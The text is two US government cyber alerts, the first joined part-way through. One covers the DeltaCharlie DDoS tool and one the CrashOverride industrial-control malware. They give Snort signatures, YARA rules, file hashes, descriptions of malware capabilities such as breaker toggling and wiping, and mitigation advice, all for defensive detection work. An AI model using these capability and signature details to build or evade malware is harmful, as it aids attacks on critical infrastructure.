DeltaCharlie is a DDoS tool used by HIDDEN COBRA actors, and is referenced and detailed in Novetta’s Operation Blockbuster Destructive Malware report. The information related to DeltaCharlie from the Operation Blockbuster Destructive Malware report should be viewed in conjunction with the IP addresses listed in the .csv and .stix files provided within this alert. DeltaCharlie is a DDoS tool capable of launching Domain Name System (DNS) attacks, Network Time Protocol (NTP) attacks, and Character Generation Protocol attacks. The malware operates on victims’ systems as a svchost-based service and is capable of downloading executables, changing its own configuration, updating its own binaries, terminating its own processes, and activating and terminating denial-of-service attacks. Further details on the malware can be found in Novetta’s report.

Detection and Response

HIDDEN COBRA IOCs related to DeltaCharlie are provided within the accompanying .csv and .stix files of this alert. DHS and FBI recommend that network administrators review the IP addresses, file hashes, network signatures, and YARA rules provided, and add the IPs to their watchlist to determine whether malicious activity has been observed within their organization.

When reviewing network perimeter logs for the IP addresses, organizations may find numerous instances of these IP addresses attempting to connect to their systems. Upon reviewing the traffic from these IP addresses, system owners may find that some traffic corresponds to malicious activity and some to legitimate activity. System owners are also advised to run the YARA tool on any system they suspect to have been targeted by HIDDEN COBRA actors. Additionally, the appendices of this report provide network signatures to aid in the detection and mitigation of HIDDEN COBRA activity.

Network Signatures and Host-Based Rules

This section contains network signatures and host-based rules that can be used to detect malicious activity associated with HIDDEN COBRA actors. Although created using a comprehensive vetting process, the possibility of false positives always remains. These signatures and rules should be used to supplement analysis and should not be used as a sole source of attributing this activity to HIDDEN COBRA actors.

Network Signatures

alert tcp any any -> any any (msg:"DPRK_HIDDEN_COBRA_DDoS_HANDSHAKE_SUCCESS"; dsize:6; flow:established,to_server; content:"|18 17 e9 e9 e9 e9|"; fast_pattern:only; sid:1; rev:1;)

________________________________________________________________

alert tcp any any -> any any (msg:"DPRK_HIDDEN_COBRA_Botnet_C2_Host_Beacon"; flow:established,to_server; content:"|1b 17 e9 e9 e9 e9|"; depth:6; fast_pattern; sid:1; rev:1;)

________________________________________________________________

YARA Rules

"strings:

$rsaKey = {7B 4E 1E A7 E9 3F 36 4C DE F4 F0 99 C4 D9 B7 94

A1 FF F2 97 D3 91 13 9D C0 12 02 E4 4C BB 6C 77

48 EE 6F 4B 9B 53 60 98 45 A5 28 65 8A 0B F8 39

73 D7 1A 44 13 B3 6A BB 61 44 AF 31 47 E7 87 C2

AE 7A A7 2C 3A D9 5C 2E 42 1A A6 78 FE 2C AD ED

39 3F FA D0 AD 3D D9 C5 3D 28 EF 3D 67 B1 E0 68

3F 58 A0 19 27 CC 27 C9 E8 D8 1E 7E EE 91 DD 13

B3 47 EF 57 1A CA FF 9A 60 E0 64 08 AA E2 92 D0}

condition: any of them"

________________________________________________________________

"strings:

$STR1 = "Wating" wide ascii

$STR2 = "Reamin" wide ascii

$STR3 = "laptos" wide ascii

condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and 2 of them}"

________________________________________________________________

"strings:

$randomUrlBuilder = { 83 EC 48 53 55 56 57 8B 3D ?? ?? ?? ?? 33 C0 C7 44 24 28 B4 6F 41 00 C7 44 24 2C B0 6F 41 00 C7 44 24 30 AC 6F 41 00 C7 44 24 34 A8 6F 41 00 C7 44 24 38 A4 6F 41 00 C7 44 24 3C A0 6F 41 00 C7 44 24 40 9C 6F 41 00 C7 44 24 44 94 6F 41 00 C7 44 24 48 8C 6F 41 00 C7 44 24 4C 88 6F 41 00 C7 44 24 50 80 6F 41 00 89 44 24 54 C7 44 24 10 7C 6F 41 00 C7 44 24 14 78 6F 41 00 C7 44 24 18 74 6F 41 00 C7 44 24 1C 70 6F 41 00 C7 44 24 20 6C 6F 41 00 89 44 24 24 FF D7 99 B9 0B 00 00 00 F7 F9 8B 74 94 28 BA 9C 6F 41 00 66 8B 06 66 3B 02 74 34 8B FE 83 C9 FF 33 C0 8B 54 24 60 F2 AE 8B 6C 24 5C A1 ?? ?? ?? ?? F7 D1 49 89 45 00 8B FE 33 C0 8D 5C 11 05 83 C9 FF 03 DD F2 AE F7 D1 49 8B FE 8B D1 EB 78 FF D7 99 B9 05 00 00 00 8B 6C 24 5C F7 F9 83 C9 FF 33 C0 8B 74 94 10 8B 54 24 60 8B FE F2 AE F7 D1 49 BF 60 6F 41 00 8B D9 83 C9 FF F2 AE F7 D1 8B C2 49 03 C3 8B FE 8D 5C 01 05 8B 0D ?? ?? ?? ?? 89 4D 00 83 C9 FF 33 C0 03 DD F2 AE F7 D1 49 8D 7C 2A 05 8B D1 C1 E9 02 F3 A5 8B CA 83 E1 03 F3 A4 BF 60 6F 41 00 83 C9 FF F2 AE F7 D1 49 BE 60 6F 41 00 8B D1 8B FE 83 C9 FF 33 C0 F2 AE F7 D1 49 8B FB 2B F9 8B CA 8B C1 C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 7C 24 60 8D 75 04 57 56 E8 ?? ?? ?? ?? 83 C4 08 C6 04 3E 2E 8B C5 C6 03 00 5F 5E 5D 5B 83 C4 48 C3 }

condition: $randomUrlBuilder"

________________________________________________________________

 

Impact

A successful network intrusion can have severe impacts, particularly if the compromise becomes public and sensitive information is exposed. Possible impacts include:

  • temporary or permanent loss of sensitive or proprietary information,
  • disruption to regular operations,
  • financial losses incurred to restore systems and files, and
  • potential harm to an organization’s reputation.

Solution

Mitigation Strategies

Network administrators are encouraged to apply the following recommendations, which can prevent as many as 85 percent of targeted cyber intrusions. The mitigation strategies provided may seem like common sense. However, many organizations fail to use these basic security measures, leaving their systems open to compromise:

  1. Patch applications and operating systems – Most attackers target vulnerable applications and operating systems. Ensuring that applications and operating systems are patched with the latest updates greatly reduces the number of exploitable entry points available to an attacker. Use best practices when updating software and patches by only downloading updates from authenticated vendor sites.
  2. Use application whitelisting – Whitelisting is one of the best security strategies because it allows only specified programs to run while blocking all others, including malicious software.
  3. Restrict administrative privileges – Threat actors are increasingly focused on gaining control of legitimate credentials, especially credentials associated with highly privileged accounts. Reduce privileges to only those needed for a user’s duties. Separate administrators into privilege tiers with limited access to other tiers.
  4. Segment networks and segregate them into security zones – Segment networks into logical enclaves and restrict host-to-host communications paths. This helps protect sensitive information and critical services, and limits damage from network perimeter breaches.
  5. Validate input – Input validation is a method of sanitizing untrusted input provided by users of a web application. Implementing input validation can protect against the security flaws of web applications by significantly reducing the probability of successful exploitation. Types of attacks possibly averted include Structured Query Language (SQL) injection, cross-site scripting, and command injection.
  6. Use stringent file reputation settings – Tune the file reputation systems of your anti-virus software to the most aggressive setting possible. Some anti-virus products can limit execution to only the highest reputation files, stopping a wide range of untrustworthy code from gaining control.
  7. Understand firewalls – Firewalls provide security to make your network less susceptible to attack. They can be configured to block data and applications from certain locations (IP whitelisting), while allowing relevant and necessary data through.

Response to Unauthorized Network Access

Enforce your security incident response and business continuity plan. It may take time for your organization’s IT professionals to isolate and remove threats to your systems and restore normal operations. Meanwhile, you should take steps to maintain your organization’s essential functions according to your business continuity plan. Organizations should maintain and regularly test backup plans, disaster recovery plans, and business continuity procedures.

Contact DHS or your local FBI office immediately. To report an intrusion and request resources for incident response or technical assistant, you are encouraged to contact DHS NCCIC (NCCICCustomerService@hq.dhs.gov or 888-282-0870), the FBI through a local field office, or the FBI’s Cyber Division (CyWatch@fbi.gov or 855-292-3937).

Protect Against SQL Injection and Other Attacks on Web Services

To protect against code injections and other attacks, system operators should routinely evaluate known and published vulnerabilities, periodically perform software updates and technology refreshes, and audit external-facing systems for known web application vulnerabilities. They should also take the following steps to harden both web applications and the servers hosting them to reduce the risk of network intrusion via this vector.

  • Use and configure available firewalls to block attacks.
  • Take steps to secure Windows systems, such as installing and configuring Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) and Microsoft AppLocker.
  • Monitor and remove any unauthorized code present in any www directories.
  • Disable, discontinue, or disallow the use of Internet Control Message Protocol (ICMP) and Simple Network Management Protocol (SNMP) as much as possible.
  • Remove unnecessary HTTP verbs from web servers. Typical web servers and applications only require GET, POST, and HEAD.
  • Where possible, minimize server fingerprinting by configuring web servers to avoid responding with banners identifying the server software and version number.
  • Secure both the operating system and the application.
  • Update and patch production servers regularly.
  • Disable potentially harmful SQL-stored procedure calls.
  • Sanitize and validate input to ensure that it is properly typed and does not contain escaped code.
  • Consider using type-safe stored procedures and prepared statements.
  • Audit transaction logs regularly for suspicious activity.
  • Perform penetration testing on web services.
  • Ensure error messages are generic and do not expose too much information.

Permissions, Privileges, and Access Controls

System operators should take the following steps to limit permissions, privileges, and access controls.

  • Reduce privileges to only those needed for a user’s duties.
  • Restrict users’ ability (permissions) to install and run unwanted software applications, and apply the principle of “Least Privilege” to all systems and services. Restricting these privileges may prevent malware from running or limit its capability to spread through the network.
  • Carefully consider the risks before granting administrative rights to users on their own machines.
  • Scrub and verify all administrator accounts regularly.
  • Configure Group Policy to restrict all users to only one login session, where possible.
  • Enforce secure network authentication, where possible.
  • Instruct administrators to use non-privileged accounts for standard functions such as web browsing or checking webmail.
  • Segment networks into logical enclaves and restrict host-to-host communication paths. Containment provided by enclaving also makes incident cleanup significantly less costly.
  • Configure firewalls to disallow Remote Desktop Protocol (RDP) traffic coming from outside of the network boundary, except for in specific configurations such as when tunneled through a secondary virtual private network (VPN) with lower privileges.
  • Audit existing firewall rules and close all ports that are not explicitly needed for business. Specifically, carefully consider which ports should be connecting outbound versus inbound.
  • Enforce a strict lockout policy for network users and closely monitor logs for failed login activity. Failed login activity can be indicative of failed intrusion activity.
  • If remote access between zones is an unavoidable business need, log and monitor these connections closely.
  • In environments with a high risk of interception or intrusion, organizations should consider supplementing password authentication with other forms of authentication such as challenge/response or multifactor authentication using biometric or physical tokens.

Logging Practices

System operators should follow these secure logging practices.

  • Ensure event logging, including applications, events, login activities, and security attributes, is turned on or monitored for identification of security issues.
  • Configure network logs to provide adequate information to assist in quickly developing an accurate determination of a security incident.
  • Upgrade PowerShell to new versions with enhanced logging features and monitor the logs to detect usage of PowerShell commands, which are often malware-related.
  • Secure logs in a centralized location and protect them from modification.
  • Prepare an incident response plan that can be rapidly administered in case of a cyber intrusion.

References

Revision History

  • June 13, 2017: Initial Release

This product is provided subject to this Notification and this Privacy & Use policy.


Continue reading...

TA17-163A: CrashOverride Malware

12 June 2017
Original release date: June 12, 2017

Systems Affected

Industrial Controls Systems

Overview

The National Cybersecurity and Communications Integration Center (NCCIC) is aware of public reports from ESET and Dragos outlining a new, highly capable Industrial Controls Systems (ICS) attack platform that was reportedly used in 2016 against critical infrastructure in Ukraine. As reported by ESET and Dragos, the CrashOverride malware is an extensible platform that could be used to target critical infrastructure sectors. NCCIC is working with its partners to validate the ESET and Dragos analysis, and develop a better understanding of the risk this new malware poses to the U.S. critical infrastructure.

Although this activity is still under investigation, NCCIC is sharing this report to provide organizations with detection and mitigation recommendations to help prevent future compromises within their critical infrastructure networks. NCCIC continues to work with interagency and international partners on this activity and will provide updates as information becomes available.

For a downloadable copy of IOCs, see:

To report activity related to this Alert, please contact NCCIC at NCCICCustomerService@hq.dhs.gov or 1-888-282-0870.

Risk Evaluation

NCCIC Cyber Incident Scoring System (NCISS) Rating Priority Level (Color)
Yellow (Medium)
A medium priority incident may affect public health or safety, national security, economic security, foreign relations, civil liberties, or public confidence.

Details

There is no evidence to suggest this malware has affected U.S. critical infrastructure. However, the tactics, techniques, and procedures (TTPs) described as part of the CrashOverride malware could be modified to target U.S. critical information networks and systems.

Description

Technical Analysis

CrashOverride malware represents a scalable, capable platform. The modules and capabilities publically reported appear to focus on organizations using ICS protocols IEC101, IEC104, and IEC61850, which are more commonly used outside the United States in electric power control systems. The platform fundamentally abuses a targeted ICS system’s legitimate control systems functionality to achieve its intended effect. While the known capabilities do not appear to be U.S.-focused, it is more important to recognize that the general TTPs used in CrashOverride could be leveraged with modified technical implementations to affect U.S.-based critical infrastructure. With further modification, CrashOverride or similar malware could have implications beyond electric power so all critical infrastructure organizations should be evaluating their systems to susceptibilities in the TTPs outlined. The malware has several reported capabilities:

  1. Issues valid commands directly to remote terminal units (RTUs) over ICS protocols. As reported by Dragos, one such command sequence toggles circuit breakers in a rapid open-close-open-close pattern. This could create conditions where individual utilities may island from infected parties, potentially resulting in a degradation of grid reliability.
  2. Denies service to local serial COM ports on windows devices, therefore preventing legitimate communications with field equipment over serial from the affected device.
  3. Scans and maps ICS environment using a variety of protocols, including Open Platform Communications (OPC). This significantly improves the payload’s probability of success.
  4. Could exploit Siemens relay denial-of-service (DoS) vulnerability, leading to a shutdown of the relay. In this instance, the relay would need to be manually reset to restore functionality.
  5. Includes a wiper module in the platform that renders windows systems inert, requiring a rebuild or backup restoration.

Detection

As CrashOverride is a second stage malware capability and has the ability to operate independent of initial C2, traditional methods of detection may not be sufficient to detect infections prior to the malware executing. As a result, organizations are encouraged to implement behavioral analysis techniques to attempt to identify pre-courser activity to CrashOverride. As additional information becomes available on stage one infection vectors and TTPs, this alert will be updated.

NCCIC is providing a compilation of indicators of compromise (IOCs) from a variety of sources to aid in the detection of this malware in the appendices. The sources provided do not constitute an exhaustive list and the U.S. Government does not endorse or support any particular product or vendor’s information referenced in this report. However, NCCIC has included this data to ensure wide distribution of the most comprehensive information available and will provide updates as warranted.

Signatures

import “pe”
import “hash”

rule dragos_crashoverride_exporting_dlls
{
meta:
description = “CRASHOVERRIDE v1 Suspicious Export”
author = “Dragos Inc”
condition:
pe.exports(“Crash”) & pe.characteristics
}

rule dragos_crashoverride_suspcious
{
meta:
description = “CRASHOVERRIDE v1 Wiper”
author = “Dragos Inc”
strings:
$s0 = “SYS_BASCON.COM” fullword nocase wide
$s1 = “.pcmp” fullword nocase wide
$s2 = “.pcmi” fullword nocase wide
$s3 = “.pcmt” fullword nocase wide
$s4 = “.cin” fullword nocase wide
condition:
pe.exports(“Crash”) and any of ($s*)
}

rule dragos_crashoverride_name_search {
meta:
description = “CRASHOVERRIDE v1 Suspicious Strings and Export”
author = “Dragos Inc”
strings:
$s0 = “101.dll” fullword nocase wide
$s1 = “Crash101.dll” fullword nocase wide
$s2 = “104.dll” fullword nocase wide
$s3 = “Crash104.dll” fullword nocase wide
$s4 = “61850.dll” fullword nocase wide
$s5 = “Crash61850.dll” fullword nocase wide
$s6 = “OPCClientDemo.dll” fullword nocase wide
$s7 = “OPC” fullword nocase wide
$s8 = “CrashOPCClientDemo.dll” fullword nocase wide
$s9 = “D2MultiCommService.exe” fullword nocase wide
$s10 = “CrashD2MultiCommService.exe” fullword nocase wide
$s11 = “61850.exe” fullword nocase wide
$s12 = “OPC.exe” fullword nocase wide
$s13 = “haslo.exe” fullword nocase wide
$s14 = “haslo.dat” fullword nocase wide
condition:
any of ($s*) and pe.exports(“Crash”)
}

rule dragos_crashoverride_hashes {
meta:
description = “CRASHOVERRIDE Malware Hashes”
author = “Dragos Inc”

condition:
filesize < 1MB and
hash.sha1(0, filesize) == “f6c21f8189ced6ae150f9ef2e82a3a57843b587d” or
hash.sha1(0, filesize) == “cccce62996d578b984984426a024d9b250237533” or
hash.sha1(0, filesize) == “8e39eca1e48240c01ee570631ae8f0c9a9637187” or
hash.sha1(0, filesize) == “2cb8230281b86fa944d3043ae906016c8b5984d9” or
hash.sha1(0, filesize) == “79ca89711cdaedb16b0ccccfdcfbd6aa7e57120a” or
hash.sha1(0, filesize) == “94488f214b165512d2fc0438a581f5c9e3bd4d4c” or
hash.sha1(0, filesize) == “5a5fafbc3fec8d36fd57b075ebf34119ba3bff04” or
hash.sha1(0, filesize) == “b92149f046f00bb69de329b8457d32c24726ee00” or
hash.sha1(0, filesize) == “b335163e6eb854df5e08e85026b2c3518891eda8”
}

rule dragos_crashoverride_moduleStrings {
meta:
description = “IEC-104 Interaction Module Program Strings”
author = “Dragos Inc”
strings:
$s1 = “IEC-104 client: ip=%s; port=%s; ASDU=%u” nocase wide ascii
$s2 = “ MSTR ->> SLV” nocase wide ascii
$s3 = “ MSTR <<- SLV” nocase wide ascii
$s4 = “Unknown APDU format !!!” nocase wide ascii
$s5 = “iec104.log” nocase wide ascii
condition:
any of ($s*)
}

rule dragos_crashoverride_configReader
{
meta:
description = “CRASHOVERRIDE v1 Config File Parsing”
author = “Dragos Inc”
strings:
$s0 = { 68 e8 ?? ?? ?? 6a 00 e8 a3 ?? ?? ?? 8b f8 83 c4 ?8 }
$s1 = { 8a 10 3a 11 75 ?? 84 d2 74 12 }
$s2 = { 33 c0 eb ?? 1b c0 83 c8 ?? }
$s3 = { 85 c0 75 ?? 8d 95 ?? ?? ?? ?? 8b cf ?? ?? }
condition:
all of them
}


rule dragos_crashoverride_configReader
{
meta:
description = “CRASHOVERRIDE v1 Config File Parsing”
author = “Dragos Inc”
strings:
$s0 = { 68 e8 ?? ?? ?? 6a 00 e8 a3 ?? ?? ?? 8b f8 83 c4 ?8 }
$s1 = { 8a 10 3a 11 75 ?? 84 d2 74 12 }
$s2 = { 33 c0 eb ?? 1b c0 83 c8 ?? }
$s3 = { 85 c0 75 ?? 8d 95 ?? ?? ?? ?? 8b cf ?? ?? }
condition:
all of them
}

rule dragos_crashoverride_weirdMutex
{
meta:
description = “Blank mutex creation assoicated with CRASHOVERRIDE”
author = “Dragos Inc”
strings:
$s1 = { 81 ec 08 02 00 00 57 33 ff 57 57 57 ff 15 ?? ?? 40 00 a3 ?? ?? ?? 00 85 c0 }
$s2 = { 8d 85 ?? ?? ?? ff 50 57 57 6a 2e 57 ff 15 ?? ?? ?? 00 68 ?? ?? 40 00}
condition:
all of them
}

rule dragos_crashoverride_serviceStomper
{
meta:
description = “Identify service hollowing and persistence setting”
author = “Dragos Inc”
strings:
$s0 = { 33 c9 51 51 51 51 51 51 ?? ?? ?? }
$s1 = { 6a ff 6a ff 6a ff 50 ff 15 24 ?? 40 00 ff ?? ?? ff 15 20 ?? 40 00 }
condition:
all of them
}

rule dragos_crashoverride_wiperModuleRegistry
{
meta:
description = “Registry Wiper functionality assoicated with CRASHOVERRIDE”
author = “Dragos Inc”
strings:
$s0 = { 8d 85 a0 ?? ?? ?? 46 50 8d 85 a0 ?? ?? ?? 68 68 0d ?? ?? 50 }
$s1 = { 6a 02 68 78 0b ?? ?? 6a 02 50 68 b4 0d ?? ?? ff b5 98 ?? ?? ?? ff 15 04 ?? ?? ?? }
$s2 = { 68 00 02 00 00 8d 85 a0 ?? ?? ?? 50 56 ff b5 9c ?? ?? ?? ff 15 00 ?? ?? ?? 85 c0 }
condition:
all of them
}

rule dragos_crashoverride_wiperFileManipulation
{
meta:
description = “File manipulation actions associated with CRASHOVERRIDE wip¬er”
author = “Dragos Inc”
strings:
$s0 = { 6a 00 68 80 00 00 00 6a 03 6a 00 6a 02 8b f9 68 00 00 00 40 57 ff 15 1c ?? ?? ?? 8b d8 }
$s2 = { 6a 00 50 57 56 53 ff 15 4c ?? ?? ?? 56 }
condition:
all of them
}

Impact

A successful network intrusion can have severe impacts, particularly if the compromise becomes public and sensitive information is exposed. Possible impacts include:

  • temporary or permanent loss of sensitive or proprietary information,
  • disruption to regular operations,
  • financial losses incurred to restore systems and files, and
  • potential harm to an organization’s reputation.
     

Solution

Properly implemented defensive techniques and common cyber hygiene practices increase the complexity of barriers that adversaries must overcome to gain unauthorized access to critical information networks and systems. In addition, malicious network activity should trigger detection and prevention mechanisms that enable organizations to contain and respond to intrusions more rapidly. There is no set of defensive techniques or programs that will completely avert all attacks however, layered cybersecurity defenses will aid in reducing an organization’s attack surface and will increase the likelihood of detection. This layered mitigation approach is known as defense-in-depth.
NCCIC has based its mitigations and recommendations on its analysis of the public reporting of this malware and will be provide updates as more information becomes available.
Critical infrastructure companies should to ensure that they are following best practices, which are detailed in such as those outlined in the Seven Steps to Effectively Defend Industrial Control Systems document produced jointly by DHS, NSA, and FBI.

Application Whitelisting

Application whitelisting (AWL) can detect and prevent attempted execution of malware uploaded by adversaries. Application whitelisting hardens operating systems and prevents the execution of unauthorized software. The static nature of some systems, such as database servers and human-machine interface (HMI) computers make these ideal candidates to run AWL. NCCIC encourages operators to work with their vendors to baseline and calibrate AWL deployments.
Operators may choose to implement directory whitelisting rather than trying to list every possible permutation of applications in an environment. Operators may implement application or application directory whitelisting through Microsoft Software Restriction Policy (SRP), AppLocker, or similar application whitelisting software. Safe defaults allow applications to run from PROGRAMFILES, PROGRAMFILES(X86), SYSTEM32, and any ICS software folders. All other locations should be disallowed unless an exception is granted.

Manage Authentication and Authorization

This malware exploits the lack of authentication and authorization in common ICS protocols to issue unauthorized commands to field devices. Asset owners/operators should implement authentication and authorization protocols to ensure field devices verify the authenticity of commands before they are actioned. In some instances, legacy hardware may not be capable of implementing these protections. In these cases, asset owners can either leverage ICS firewalls to do stateful inspection and authentication of commands, or upgrade their control field devices.

Adversaries are increasingly focused on gaining control of legitimate credentials, especially those associated with highly privileged accounts. Compromising these credentials allows adversaries to masquerade as legitimate users, leaving less evidence of compromise than more traditional attack options (i.e., exploiting vulnerabilities or uploading malware). For this reason, operators should implement multi-factor authentication where possible and reduce privileges to only those needed for a user’s duties. If passwords are necessary, operators should implement secure password policies, stressing length over complexity. For all accounts, including system and non-interactive accounts, operators should ensure credentials are unique, and changed, at a minimum, every 90 days.

NCCIC also recommends that operators require separate credentials for corporate and control network zones and store them in separate trust stores. Operators should never share Active Directory, RSA ACE servers, or other trust stores between corporate and control networks. Specifically, operators should:

  • Decrease a threat actor’s ability to access key network resources by implementing the principle of least privilege;
  • Limit the ability of a local administrator account to login from a local interactive session (e.g., “Deny access to this computer from the network”) and prevent access via a remote desktop protocol session;
  • Remove unnecessary accounts, groups, and restrict root access;
  • Control and limit local administration; and
  • Make use of the Protected Users Active Directory group in Windows Domains to further secure privileged user accounts against pass-the-hash attacks.

Handling Destructive Malware

Destructive malware continues to be a threat to both critical infrastructure and business systems. NCCIC encourages organizations to review the ICS-CERT destructive malware white paper for detailed mitigation guidance. It is important for organizations to maintain backups of key data, systems, and configurations such as:

  • Server gold images,
  • ICS Workstation gold configurations,
  • Engineering workstation images,
  • PLC/RTU configurations,
  • Passwords and configuration information, and
  • Offline copies of install media for operating systems and control applications.

Ensure Proper Configuration/Patch Management

Adversaries often target unpatched systems. A configuration/patch management program centered on the safe importation and implementation of trusted patches will help render control systems more secure.

Such a program will start with an accurate baseline and asset inventory to track what patches are needed. The program will prioritize patching and configuration management of “PC-architecture” machines used in HMI, database server, and engineering workstation roles, as current adversaries have significant cyber capabilities against these systems. Infected laptops are a significant malware vector. Such a program will limit the connection of external laptops to the control network and ideally supply vendors with known-good company laptops. The program will also encourage initial installation of any updates onto a test system that includes malware detection features before the updates are installed on operational systems.

NCCIC recommends that operators:

  • Use best practices when downloading software and patches destined for their control network;
  • Take measures to avoid watering hole attacks;
  • Use a web Domain Name System (DNS) reputation system;
  • Obtain and apply updates from authenticated vendor sites;
  • Validate the authenticity of downloads;
  • Insist that vendors digitally sign updates, and/or publish hashes via an out-of-bound communications path, and only use this path to authenticate;
  • Never load updates from unverified sources;
  • Reduce your attack surface area;
  • To the greatest extent possible, NCCIC recommends that operators:
    • Isolate ICS networks from any untrusted networks, especially the Internet;
    • Lock down all unused ports;
    • Turn off all unused services; and
    • Only allow real-time connectivity to external networks if there is a defined business requirement or control function.
      • If one-way communication can accomplish a task, operators should use optical separation (“data diode”).
      • If bidirectional communication is necessary, operators should use a single open port over a restricted network path.

Build a Defendable Environment

Building a defendable environment will help limit the impact from network perimeter breaches. NCCIC recommends operators segment networks into logical enclaves and restrict host-to-host communications paths. This can prevent adversaries from expanding their access, while allowing the normal system communications to continue operating. Enclaving limits possible damage, as threat actors cannot use compromised systems to reach and contaminate systems in other enclaves. Containment provided by enclaving also makes incident cleanup significantly less costly.

If one-way data transfer from a secure zone to a less secure zone is required, operators should consider using approved removable media instead of a network connection. If real-time data transfer is required, operators should consider using optical separation technologies. This allows replication of data without placing the control system at risk.

Additional details on effective strategies for building a defendable ICS network can be found in the ICS-CERT Defense-in-Depth Recommended Practice.

Implement Secure Remote Access

Some adversaries are effective at gaining remote access into control systems, finding obscure access vectors, even “hidden back doors” intentionally created by system operators. Operators should remove such accesses wherever possible, especially modems, as these are fundamentally insecure.
Operators should:

  • Limit any accesses that remain;
  • Where possible, implement “monitoring only” access enforced by data diodes, and not rely on “read only” access enforced by software configurations or permissions;
  • Not allow remote persistent vendor connections into the control network;
  • Require any remote access to be operator controlled, time limited, and procedurally similar to “lock out, tag out”;
  • Use the same remote access paths for vendor and employee connections; do not allow double standards; and
  • Use two-factor authentication if possible, avoiding schemes where both tokens are similar and can be easily stolen (e.g., password and soft certificate).

Monitor and Respond

Defending a network against modern threats requires actively monitoring for adversarial penetration and quickly executing a prepared response. Operators should

  • Consider establishing monitoring programs in the following key places: at the Internet boundary; at the business to Control DMZ boundary; at the Control DMZ to control LAN boundary; and inside the Control LAN;
  • Watch IP traffic on ICS boundaries for abnormal or suspicious communications;
  • Monitor IP traffic within the control network for malicious connections or content;
  • Use host-based products to detect malicious software and attack attempts;
    • Use login analysis (e.g., time and place) to detect stolen credential usage or improper access, verifying all anomalies with quick phone calls;
    • Watch account and user administration actions to detect access control manipulation; and
  • Have a response plan for when adversarial activity is detected.
    • Such a plan may include disconnecting all Internet connections, running a properly scoped search for malware, disabling affected user accounts, isolating suspect systems, and immediately resetting 100 percent of passwords.
    • Such a plan may also define escalation triggers and actions, including incident response, investigation, and public affairs activities.
  • Have a restoration plan, including “gold disks” ready to restore systems to known good states.
     

References

Revision History

  • July 12, 2017: Initial Release

This product is provided subject to this Notification and this Privacy & Use policy.


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